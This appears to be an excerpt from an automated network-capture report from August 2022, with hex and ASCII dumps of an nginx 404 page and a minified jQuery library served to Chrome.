2022-08-11 03:43:33 UTC 14861 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:33 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:33 UTC 14861 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

369 103.15.210.63 443 192.168.11.20 54108 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:33 UTC 14862 IN HTTP/1.1 200 OK
Cache-Control: public,no-cache
Pragma: no-cache
Content-Type: application/javascript
Expires: Fri, 12 Aug 2022 03:43:33 GMT,-1
Last-Modified: Sat, 16 Jul 2022 22:15:01 GMT
Accept-Ranges: bytes
ETag: "1D899617DDDE080"
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-XSS-Protection: 1;mode=block
Content-Security-Policy: default-src https:; script-src   https: 'unsafe-inline' 'unsafe-eval'; child-src  'self' https:; font-src 'self' 
fonts.googleapis.com use.typekit.net  fonts.gstatic.com; img-src 'self'  data: https:; media-src 'self'; object-src 'self';style-src 
'self' 'unsafe-inline'  fonts.googleapis.com use.typekit.net  fonts.gstatic.com  ;
Date: Thu, 11 Aug 2022 03:43:33 GMT
Content-Length: 812568
Set-Cookie: NSC_Ijqqp-JS-Tjuft=ffffffffaf171fd945525d5f4f58455e445a4a423660;path=/;secure;httponly

2022-08-11 03:43:33 UTC 14863 IN Data Raw: 2f 2a 0d 0a 20 2a 20 4a 53 4d 69 6e 0d 0a 20 2a 20 4a 61 76 61 73 63 72 69 70 74 20 43 6f 6d 70 72 65 73 73 
6f 72 0d 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 63 72 6f 63 6b 66 6f 72 64 2e 63 6f 6d 2f 0d 0a 20 2a 20 68 74 74 
70 3a 2f 2f 77 77 77 2e 73 6d 61 6c 6c 73 68 61 72 70 74 6f 6f 6c 73 2e 63 6f 6d 2f 50 72 6f 6a 65 63 74 73 2f 50 61 63 6b 
65 72 2f 0d 0a 2a 2f 0d 0a 0d 0a 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 67 6c 6f 62 61 6c 2c 66 61 63 74 6f 72 79 29 7b 22 
75 73 65 20 73 74 72 69 63 74 22 3b 69 66 28 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3d 3d 3d 22 6f 62 6a 65 63 74 22 
26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 3d 3d 22 6f 62 6a 65 63 74 22 29 7b 6d 6f 64 75 
6c 65 2e 65 78 70 6f 72 74 73 3d 67 6c 6f 62 61 6c 2e 64 
Data Ascii: /* * JSMin * Javascript Compressor * http://www.crockford.com/ * http://www.smallsharptools.com/Projects/Pac
ker/*/(function(global,factory){"use strict";if(typeof module==="object"&&typeof module.exports==="object"){module.expor
ts=global.d

2022-08-11 03:43:33 UTC 14869 IN Data Raw: 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 
5c 22 5d 29 2a 29 5c 22 7c 28 22 2b 69 64 65 6e 74 69 66 69 65 72 2b 22 29 29 7c 29 22 2b 0d 0a 77 68 69 74 65 73 70 
61 63 65 2b 22 2a 5c 5c 5d 22 2c 70 73 65 75 64 6f 73 3d 22 3a 28 22 2b 69 64 65 6e 74 69 66 69 65 72 2b 22 29 28 3f 
3a 5c 5c 28 28 22 2b 22 28 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 
5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 29 7c 22 2b 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 
28 29 5b 5c 5c 5d 5d 7c 22 2b 61 74 74 72 69 62 75 74 65 73 2b 22 29 2a 29 7c 22 2b 22 2e 2a 22 2b 22 29 5c 5c 29 7c 2
9 22 2c 72 77 68 69 74 65 73 70 61 63 65 3d 6e 65 77 20 52 65 67 
Data Ascii: \\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+identifier+"))|)"+whitespace+"*\\]",pseudos=":("+identifier+")(?:\\(("+"('((?:\\\\.|
[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|"+"((?:\\\\.|[^\\\\()[\\]]|"+attributes+")*)|"+".*"+")\\)|)",rwhitespace=new Reg

2022-08-11 03:43:34 UTC 14922 IN Data Raw: 3d 63 6f 6e 74 65 78 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 69 64 29 3b 72 65 74 75 72 6e 20 
65 6c 65 6d 3f 5b 65 6c 65 6d 5d 3a 5b 5d 3b 7d 7d 3b 7d 65 6c 73 65 7b 45 78 70 72 2e 66 69 6c 74 65 72 5b 22 49 44 
22 5d 3d 66 75 6e 63 74 69 6f 6e 28 69 64 29 7b 76 61 72 20 61 74 74 72 49 64 3d 69 64 2e 72 65 70 6c 61 63 65 28 72 
75 6e 65 73 63 61 70 65 2c 66 75 6e 65 73 63 61 70 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 6c 65 
6d 29 7b 76 61 72 20 6e 6f 64 65 3d 74 79 70 65 6f 66 20 65 6c 65 6d 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 
65 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 6c 65 6d 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 
22 69 64 22 29 3b 72 65 74 75 72 6e 20 6e 6f 64 65 26 26 6e 6f 64 65 2e 76 
Data Ascii: =context.getElementById(id);return elem?[elem]:[];}};}else{Expr.filter["ID"]=function(id){var attrId=id.repl
ace(runescape,funescape);return function(elem){var node=typeof elem.getAttributeNode!=="undefined"&&elem.getAt
tributeNode("id");return node&&node.v

2022-08-11 03:43:34 UTC 14930 IN Data Raw: 2c 74 72 75 65 29 29 26 26 28 65 78 63 65 73 73 3d 75 6e 71 75 6f 74 65 64 2e 69 6e 64 65 78 4f 66 28 22 29 
22 2c 75 6e 71 75 6f 74 65 64 2e 6c 65 6e 67 74 68 2d 65 78 63 65 73 73 29 2d 75 6e 71 75 6f 74 65 64 2e 6c 65 6e 67 
74 68 29 29 7b 6d 61 74 63 68 5b 30 5d 3d 6d 61 74 63 68 5b 30 5d 2e 73 6c 69 63 65 28 30 2c 65 78 63 65 73 73 29 3b 
6d 61 74 63 68 5b 32 5d 3d 75 6e 71 75 6f 74 65 64 2e 73 6c 69 63 65 28 30 2c 65 78 63 65 73 73 29 3b 7d 0d 0a 72 65 
74 75 72 6e 20 6d 61 74 63 68 2e 73 6c 69 63 65 28 30 2c 33 29 3b 7d 7d 2c 66 69 6c 74 65 72 3a 7b 22 54 41 47 22 3a 
66 75 6e 63 74 69 6f 6e 28 6e 6f 64 65 4e 61 6d 65 53 65 6c 65 63 74 6f 72 29 7b 76 61 72 20 6e 6f 64 65 4e 61 6d 65 3d 
6e 6f 64 65 4e 61 6d 65 53 65 6c 65 63 74 6f 72 2e 72 65 70 6c 61 63 
Data Ascii: ,true))&&(excess=unquoted.indexOf(")",unquoted.length-excess)-unquoted.length)){match[0]=match[0].
slice(0,excess);match[2]=unquoted.slice(0,excess);}return match.slice(0,3);}},filter:{"TAG":function(nodeNameSelector){v
ar nodeName=nodeNameSelector.replac

2022-08-11 03:43:34 UTC 14938 IN Data Raw: 28 73 6f 46 61 72 29 29 26 26 28 21 70 72 65 46 69 6c 74 65 72 73 5b 74 79 70 65 5d 7c 7c 28 6d 61 74 63 68 
3d 70 72 65 46 69 6c 74 65 72 73 5b 74 79 70 65 5d 28 6d 61 74 63 68 29 29 29 29 7b 6d 61 74 63 68 65 64 3d 6d 61 74 
63 68 2e 73 68 69 66 74 28 29 3b 74 6f 6b 65 6e 73 2e 70 75 73 68 28 7b 76 61 6c 75 65 3a 6d 61 74 63 68 65 64 2c 74 
79 70 65 3a 74 79 70 65 2c 6d 61 74 63 68 65 73 3a 6d 61 74 63 68 7d 29 3b 73 6f 46 61 72 3d 73 6f 46 61 72 2e 73 6c 6
9 63 65 28 6d 61 74 63 68 65 64 2e 6c 65 6e 67 74 68 29 3b 7d 7d 0d 0a 69 66 28 21 6d 61 74 63 68 65 64 29 7b 62 72 
65 61 6b 3b 7d 7d 0d 0a 72 65 74 75 72 6e 20 70 61 72 73 65 4f 6e 6c 79 3f 73 6f 46 61 72 2e 6c 65 6e 67 74 68 3a 73 6f 
46 61 72 3f 53 69 7a 7a 6c 65 2e 65 72 72 6f 72 28 73 65 6c 65 63 74 
Data Ascii: (soFar))&&(!preFilters[type]||(match=preFilters[type](match)))){matched=match.shift();tokens.push({value:mat
ched,type:type,matches:match});soFar=soFar.slice(matched.length);}}if(!matched){break;}}return parseOnly?soFar
.length:soFar?Sizzle.error(select

2022-08-11 03:43:34 UTC 14945 IN Data Raw: 28 73 6f 72 74 4f 72 64 65 72 29 2e 6a 6f 69 6e 28 22 22 29 3d 3d 3d 65 78 70 61 6e 64 6f 3b 73 75 70 70 6f 
72 74 2e 64 65 74 65 63 74 44 75 70 6c 69 63 61 74 65 73 3d 21 21 68 61 73 44 75 70 6c 69 63 61 74 65 3b 73 65 74 44 
6f 63 75 6d 65 6e 74 28 29 3b 73 75 70 70 6f 72 74 2e 73 6f 72 74 44 65 74 61 63 68 65 64 3d 61 73 73 65 72 74 28 66 
75 6e 63 74 69 6f 6e 28 65 6c 29 7b 72 65 74 75 72 6e 20 65 6c 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 
69 74 69 6f 6e 28 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 66 69 65 6c 64 73 65 74 22 2
9 29 26 31 3b 7d 29 3b 69 66 28 21 61 73 73 65 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 6c 29 7b 65 6c 2e 69 6e 6e 65 72 
48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 23 27 3e 3c 2f 61 3e 
Data Ascii: (sortOrder).join("")===expando;support.detectDuplicates=!!hasDuplicate;setDocument();support.sortD
etached=assert(function(el){return el.compareDocumentPosition(document.createElement("fieldset"))&1;});if(!assert(functi
on(el){el.innerHTML="<a href='#'></a>
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2022-08-11 03:43:34 UTC 14953 IN Data Raw: 3d 66 61 6c 73 65 3b 69 66 28 6c 6f 63 6b 65 64 29 7b 69 66 28 6d 65 6d 6f 72 79 29 7b 6c 69 73 74 3d 5b 5d 
3b 7d 65 6c 73 65 7b 6c 69 73 74 3d 22 22 3b 7d 7d 7d 2c 73 65 6c 66 3d 7b 61 64 64 3a 66 75 6e 63 74 69 6f 6e 28 29 
7b 69 66 28 6c 69 73 74 29 7b 69 66 28 6d 65 6d 6f 72 79 26 26 21 66 69 72 69 6e 67 29 7b 66 69 72 69 6e 67 49 6e 64 
65 78 3d 6c 69 73 74 2e 6c 65 6e 67 74 68 2d 31 3b 71 75 65 75 65 2e 70 75 73 68 28 6d 65 6d 6f 72 79 29 3b 7d 0d 0a 2
8 66 75 6e 63 74 69 6f 6e 20 61 64 64 28 61 72 67 73 29 7b 6a 51 75 65 72 79 2e 65 61 63 68 28 61 72 67 73 2c 66 75 
6e 63 74 69 6f 6e 28 5f 2c 61 72 67 29 7b 69 66 28 69 73 46 75 6e 63 74 69 6f 6e 28 61 72 67 29 29 7b 69 66 28 21 6f 70 
74 69 6f 6e 73 2e 75 6e 69 71 75 65 7c 7c 21 73 65 6c 66 2e 68 61 73 
Data Ascii: =false;if(locked){if(memory){list=[];}else{list="";}}},self={add:function(){if(list){if(memory&&!firing){firingIndex=l
ist.length-1;queue.push(memory);}(function add(args){jQuery.each(args,function(_,arg){if(isFunction(arg)){if(!options.un
ique||!self.has

2022-08-11 03:43:34 UTC 14961 IN Data Raw: 61 74 61 2c 76 61 6c 75 65 29 7b 76 61 72 20 70 72 6f 70 2c 63 61 63 68 65 3d 74 68 69 73 2e 63 61 63 68 65 
28 6f 77 6e 65 72 29 3b 69 66 28 74 79 70 65 6f 66 20 64 61 74 61 3d 3d 3d 22 73 74 72 69 6e 67 22 29 7b 63 61 63 68 
65 5b 63 61 6d 65 6c 43 61 73 65 28 64 61 74 61 29 5d 3d 76 61 6c 75 65 3b 7d 65 6c 73 65 7b 66 6f 72 28 70 72 6f 70 
20 69 6e 20 64 61 74 61 29 7b 63 61 63 68 65 5b 63 61 6d 65 6c 43 61 73 65 28 70 72 6f 70 29 5d 3d 64 61 74 61 5b 70 
72 6f 70 5d 3b 7d 7d 0d 0a 72 65 74 75 72 6e 20 63 61 63 68 65 3b 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 6f 77 
6e 65 72 2c 6b 65 79 29 7b 72 65 74 75 72 6e 20 6b 65 79 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 3f 74 68 69 73 2e 63 61 
63 68 65 28 6f 77 6e 65 72 29 3a 6f 77 6e 65 72 5b 74 68 69 73 2e 65 78 
Data Ascii: ata,value){var prop,cache=this.cache(owner);if(typeof data==="string"){cache[camelCase(data)]=value;}else{fo
r(prop in data){cache[camelCase(prop)]=data[prop];}}return cache;},get:function(owner,key){return key===undefined?
this.cache(owner):owner[this.ex

2022-08-11 03:43:34 UTC 14969 IN Data Raw: 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 44 6f 63 75 6d 65 6e 74 46 72 61 67 6d 65 6e 74 28 29 2c 
64 69 76 3d 66 72 61 67 6d 65 6e 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 
65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 29 2c 69 6e 70 75 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 
6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 69 6e 70 75 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 
65 22 2c 22 72 61 64 69 6f 22 29 3b 69 6e 70 75 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 63 68 65 63 6b 65 64 
22 2c 22 63 68 65 63 6b 65 64 22 29 3b 69 6e 70 75 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 
22 74 22 29 3b 64 69 76 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 6e 70 
Data Ascii: t=document.createDocumentFragment(),div=fragment.appendChild(document.createElement("div")),input=
document.createElement("input");input.setAttribute("type","radio");input.setAttribute("checked","checked");input.setAttr
ibute("name","t");div.appendChild(inp

2022-08-11 03:43:34 UTC 14976 IN Data Raw: 64 6c 65 72 73 2c 6d 61 74 63 68 65 64 53 65 6c 65 63 74 6f 72 73 2c 68 61 6e 64 6c 65 72 51 75 65 75 65 3d 
5b 5d 2c 64 65 6c 65 67 61 74 65 43 6f 75 6e 74 3d 68 61 6e 64 6c 65 72 73 2e 64 65 6c 65 67 61 74 65 43 6f 75 6e 74 2c 
63 75 72 3d 65 76 65 6e 74 2e 74 61 72 67 65 74 3b 69 66 28 64 65 6c 65 67 61 74 65 43 6f 75 6e 74 26 26 63 75 72 2e 
6e 6f 64 65 54 79 70 65 26 26 21 28 65 76 65 6e 74 2e 74 79 70 65 3d 3d 3d 22 63 6c 69 63 6b 22 26 26 65 76 65 6e 74 
2e 62 75 74 74 6f 6e 3e 3d 31 29 29 7b 66 6f 72 28 3b 63 75 72 21 3d 3d 74 68 69 73 3b 63 75 72 3d 63 75 72 2e 70 61 7
2 65 6e 74 4e 6f 64 65 7c 7c 74 68 69 73 29 7b 69 66 28 63 75 72 2e 6e 6f 64 65 54 79 70 65 3d 3d 3d 31 26 26 21 28 65 
76 65 6e 74 2e 74 79 70 65 3d 3d 3d 22 63 6c 69 63 6b 22 26 26 63 
Data Ascii: dlers,matchedSelectors,handlerQueue=[],delegateCount=handlers.delegateCount,cur=event.target;if(de
legateCount&&cur.nodeType&&!(event.type==="click"&&event.button>=1)){for(;cur!==this;cur=cur.parentNode||this)
{if(cur.nodeType===1&&!(event.type==="click"&&c

2022-08-11 03:43:34 UTC 14984 IN Data Raw: 6e 28 69 6e 64 65 78 29 7b 76 61 72 20 73 65 6c 66 3d 63 6f 6c 6c 65 63 74 69 6f 6e 2e 65 71 28 69 6e 64 65 
78 29 3b 69 66 28 76 61 6c 75 65 49 73 46 75 6e 63 74 69 6f 6e 29 7b 61 72 67 73 5b 30 5d 3d 76 61 6c 75 65 2e 63 61 
6c 6c 28 74 68 69 73 2c 69 6e 64 65 78 2c 73 65 6c 66 2e 68 74 6d 6c 28 29 29 3b 7d 0d 0a 64 6f 6d 4d 61 6e 69 70 28 
73 65 6c 66 2c 61 72 67 73 2c 63 61 6c 6c 62 61 63 6b 2c 69 67 6e 6f 72 65 64 29 3b 7d 29 3b 7d 0d 0a 69 66 28 6c 29 7
b 66 72 61 67 6d 65 6e 74 3d 62 75 69 6c 64 46 72 61 67 6d 65 6e 74 28 61 72 67 73 2c 63 6f 6c 6c 65 63 74 69 6f 6e 5b 
30 5d 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 66 61 6c 73 65 2c 63 6f 6c 6c 65 63 74 69 6f 6e 2c 69 67 6e 6f 72 65 6
4 29 3b 66 69 72 73 74 3d 66 72 61 67 6d 65 6e 74 2e 66 69 72 73 
Data Ascii: n(index){var self=collection.eq(index);if(valueIsFunction){args[0]=value.call(this,index,self.html());}domMa
nip(self,args,callback,ignored);});}if(l){fragment=buildFragment(args,collection[0].ownerDocument,false,collection,ignor
ed);first=fragment.firs

2022-08-11 03:43:34 UTC 14992 IN Data Raw: 6c 64 28 74 72 29 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 72 43 68 69 6c 64 29 3b 74 72 53 74 79 6c 65 
3d 77 69 6e 64 6f 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 72 29 3b 72 65 6c 69 61 62 6c 65 54 72 
44 69 6d 65 6e 73 69 6f 6e 73 56 61 6c 3d 28 70 61 72 73 65 49 6e 74 28 74 72 53 74 79 6c 65 2e 68 65 69 67 68 74 2c 3
1 30 29 2b 0d 0a 70 61 72 73 65 49 6e 74 28 74 72 53 74 79 6c 65 2e 62 6f 72 64 65 72 54 6f 70 57 69 64 74 68 2c 31 30 
29 2b 0d 0a 70 61 72 73 65 49 6e 74 28 74 72 53 74 79 6c 65 2e 62 6f 72 64 65 72 42 6f 74 74 6f 6d 57 69 64 74 68 2c 31 
30 29 29 3d 3d 3d 74 72 2e 6f 66 66 73 65 74 48 65 69 67 68 74 3b 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 72 
65 6d 6f 76 65 43 68 69 6c 64 28 74 61 62 6c 65 29 3b 7d 0d 0a 72 65 
Data Ascii: ld(tr).appendChild(trChild);trStyle=window.getComputedStyle(tr);reliableTrDimensionsVal=(parseInt(trStyle.he
ight,10)+parseInt(trStyle.borderTopWidth,10)+parseInt(trStyle.borderBottomWidth,10))===tr.offsetHeight;documen
tElement.removeChild(table);}re

2022-08-11 03:43:34 UTC 14999 IN Data Raw: 6e 3d 54 77 65 65 6e 3b 54 77 65 65 6e 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 6f 6e 73 74 72 75 63 74 6f 72 
3a 54 77 65 65 6e 2c 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 2c 6f 70 74 69 6f 6e 73 2c 70 72 6f 70 2c 65 
6e 64 2c 65 61 73 69 6e 67 2c 75 6e 69 74 29 7b 74 68 69 73 2e 65 6c 65 6d 3d 65 6c 65 6d 3b 74 68 69 73 2e 70 72 6f 
70 3d 70 72 6f 70 3b 74 68 69 73 2e 65 61 73 69 6e 67 3d 65 61 73 69 6e 67 7c 7c 6a 51 75 65 72 79 2e 65 61 73 69 6e 
67 2e 5f 64 65 66 61 75 6c 74 3b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 6f 70 74 69 6f 6e 73 3b 74 68 69 73 2e 73 74 61 
72 74 3d 74 68 69 73 2e 6e 6f 77 3d 74 68 69 73 2e 63 75 72 28 29 3b 74 68 69 73 2e 65 6e 64 3d 65 6e 64 3b 74 68 69 
73 2e 75 6e 69 74 3d 75 6e 69 74 7c 7c 28 6a 51 75 65 72 79 2e 63 
Data Ascii: n=Tween;Tween.prototype={constructor:Tween,init:function(elem,options,prop,end,easing,unit){this.e
lem=elem;this.prop=prop;this.easing=easing||jQuery.easing._default;this.options=options;this.start=this.now=this.cur();t
his.end=end;this.unit=unit||(jQuery.c

2022-08-11 03:43:34 UTC 15008 IN Data Raw: 61 6e 69 6d 61 74 69 6f 6e 2e 6f 70 74 73 2e 71 75 65 75 65 7d 29 29 3b 72 65 74 75 72 6e 20 61 6e 69 6d 61 
74 69 6f 6e 3b 7d 0d 0a 6a 51 75 65 72 79 2e 41 6e 69 6d 61 74 69 6f 6e 3d 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 
41 6e 69 6d 61 74 69 6f 6e 2c 7b 74 77 65 65 6e 65 72 73 3a 7b 22 2a 22 3a 5b 66 75 6e 63 74 69 6f 6e 28 70 72 6f 70 2c 
76 61 6c 75 65 29 7b 76 61 72 20 74 77 65 65 6e 3d 74 68 69 73 2e 63 72 65 61 74 65 54 77 65 65 6e 28 70 72 6f 70 2c 
76 61 6c 75 65 29 3b 61 64 6a 75 73 74 43 53 53 28 74 77 65 65 6e 2e 65 6c 65 6d 2c 70 72 6f 70 2c 72 63 73 73 4e 75 6
d 2e 65 78 65 63 28 76 61 6c 75 65 29 2c 74 77 65 65 6e 29 3b 72 65 74 75 72 6e 20 74 77 65 65 6e 3b 7d 5d 7d 2c 74 
77 65 65 6e 65 72 3a 66 75 6e 63 74 69 6f 6e 28 70 72 6f 70 73 2c 63 
Data Ascii: animation.opts.queue}));return animation;}jQuery.Animation=jQuery.extend(Animation,{tweeners:{"*":[function(
prop,value){var tween=this.createTween(prop,value);adjustCSS(tween.elem,prop,rcssNum.exec(value),tween);return 
tween;}]},tweener:function(props,c
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2022-08-11 03:43:34 UTC 15015 IN Data Raw: 70 48 6f 6f 6b 73 2e 73 65 6c 65 63 74 65 64 3d 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 29 7b 
76 61 72 20 70 61 72 65 6e 74 3d 65 6c 65 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 69 66 28 70 61 72 65 6e 74 26 26 70 
61 72 65 6e 74 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7b 70 61 72 65 6e 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 
65 63 74 65 64 49 6e 64 65 78 3b 7d 0d 0a 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6
e 28 65 6c 65 6d 29 7b 76 61 72 20 70 61 72 65 6e 74 3d 65 6c 65 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 69 66 28 70 
61 72 65 6e 74 29 7b 70 61 72 65 6e 74 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 3b 69 66 28 70 61 72 65 6e 74 2e 70 
61 72 65 6e 74 4e 6f 64 65 29 7b 70 61 72 65 6e 74 2e 70 61 72 65 6e 74 
Data Ascii: pHooks.selected={get:function(elem){var parent=elem.parentNode;if(parent&&parent.parentNode){paren
t.parentNode.selectedIndex;}return null;},set:function(elem){var parent=elem.parentNode;if(parent){parent.selectedIndex;
if(parent.parentNode){parent.parent

2022-08-11 03:43:34 UTC 15023 IN Data Raw: 70 65 2c 69 73 53 69 6d 75 6c 61 74 65 64 3a 74 72 75 65 7d 29 3b 6a 51 75 65 72 79 2e 65 76 65 6e 74 2e 
74 72 69 67 67 65 72 28 65 2c 6e 75 6c 6c 2c 65 6c 65 6d 29 3b 7d 7d 29 3b 6a 51 75 65 72 79 2e 66 6e 2e 65 78 74 65 
6e 64 28 7b 74 72 69 67 67 65 72 3a 66 75 6e 63 74 69 6f 6e 28 74 79 70 65 2c 64 61 74 61 29 7b 72 65 74 75 72 6e 20 
74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6a 51 75 65 72 79 2e 65 76 65 6e 74 2e 74 72 69 67 67 
65 72 28 74 79 70 65 2c 64 61 74 61 2c 74 68 69 73 29 3b 7d 29 3b 7d 2c 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 3a 
66 75 6e 63 74 69 6f 6e 28 74 79 70 65 2c 64 61 74 61 29 7b 76 61 72 20 65 6c 65 6d 3d 74 68 69 73 5b 30 5d 3b 69 66 
28 65 6c 65 6d 29 7b 72 65 74 75 72 6e 20 6a 51 75 65 72 79 2e 65 76 65 6e 
Data Ascii: pe,isSimulated:true});jQuery.event.trigger(e,null,elem);}});jQuery.fn.extend({trigger:function(type,data){return 
this.each(function(){jQuery.event.trigger(type,data,this);});},triggerHandler:function(type,data){var elem=this[0];if(elem){r
eturn jQuery.even

2022-08-11 03:43:34 UTC 15031 IN Data Raw: 47 6c 6f 62 61 6c 73 2c 69 2c 75 6e 63 61 63 68 65 64 2c 73 3d 6a 51 75 65 72 79 2e 61 6a 61 78 53 65 74 75 
70 28 7b 7d 2c 6f 70 74 69 6f 6e 73 29 2c 63 61 6c 6c 62 61 63 6b 43 6f 6e 74 65 78 74 3d 73 2e 63 6f 6e 74 65 78 74 7c 
7c 73 2c 67 6c 6f 62 61 6c 45 76 65 6e 74 43 6f 6e 74 65 78 74 3d 73 2e 63 6f 6e 74 65 78 74 26 26 28 63 61 6c 6c 62 61 
63 6b 43 6f 6e 74 65 78 74 2e 6e 6f 64 65 54 79 70 65 7c 7c 63 61 6c 6c 62 61 63 6b 43 6f 6e 74 65 78 74 2e 6a 71 75 65 
72 79 29 3f 6a 51 75 65 72 79 28 63 61 6c 6c 62 61 63 6b 43 6f 6e 74 65 78 74 29 3a 6a 51 75 65 72 79 2e 65 76 65 6e 
74 2c 64 65 66 65 72 72 65 64 3d 6a 51 75 65 72 79 2e 44 65 66 65 72 72 65 64 28 29 2c 63 6f 6d 70 6c 65 74 65 44 65 
66 65 72 72 65 64 3d 6a 51 75 65 72 79 2e 43 61 6c 6c 62 61 63 
Data Ascii: Globals,i,uncached,s=jQuery.ajaxSetup({},options),callbackContext=s.context||s,globalEventContext=
s.context&&(callbackContext.nodeType||callbackContext.jquery)?jQuery(callbackContext):jQuery.event,deferred=jQ
uery.Deferred(),completeDeferred=jQuery.Callbac

2022-08-11 03:43:34 UTC 15038 IN Data Raw: 78 68 72 53 75 70 70 6f 72 74 65 64 29 3b 73 75 70 70 6f 72 74 2e 61 6a 61 78 3d 78 68 72 53 75 70 70 6f 72 
74 65 64 3d 21 21 78 68 72 53 75 70 70 6f 72 74 65 64 3b 6a 51 75 65 72 79 2e 61 6a 61 78 54 72 61 6e 73 70 6f 72 74 
28 66 75 6e 63 74 69 6f 6e 28 6f 70 74 69 6f 6e 73 29 7b 76 61 72 20 63 61 6c 6c 62 61 63 6b 2c 65 72 72 6f 72 43 61 6c 
6c 62 61 63 6b 3b 69 66 28 73 75 70 70 6f 72 74 2e 63 6f 72 73 7c 7c 78 68 72 53 75 70 70 6f 72 74 65 64 26 26 21 6f 70 
74 69 6f 6e 73 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 29 7b 72 65 74 75 72 6e 7b 73 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 
68 65 61 64 65 72 73 2c 63 6f 6d 70 6c 65 74 65 29 7b 76 61 72 20 69 2c 78 68 72 3d 6f 70 74 69 6f 6e 73 2e 78 68 72 28 
29 3b 78 68 72 2e 6f 70 65 6e 28 6f 70 74 69 6f 6e 73 2e 74 
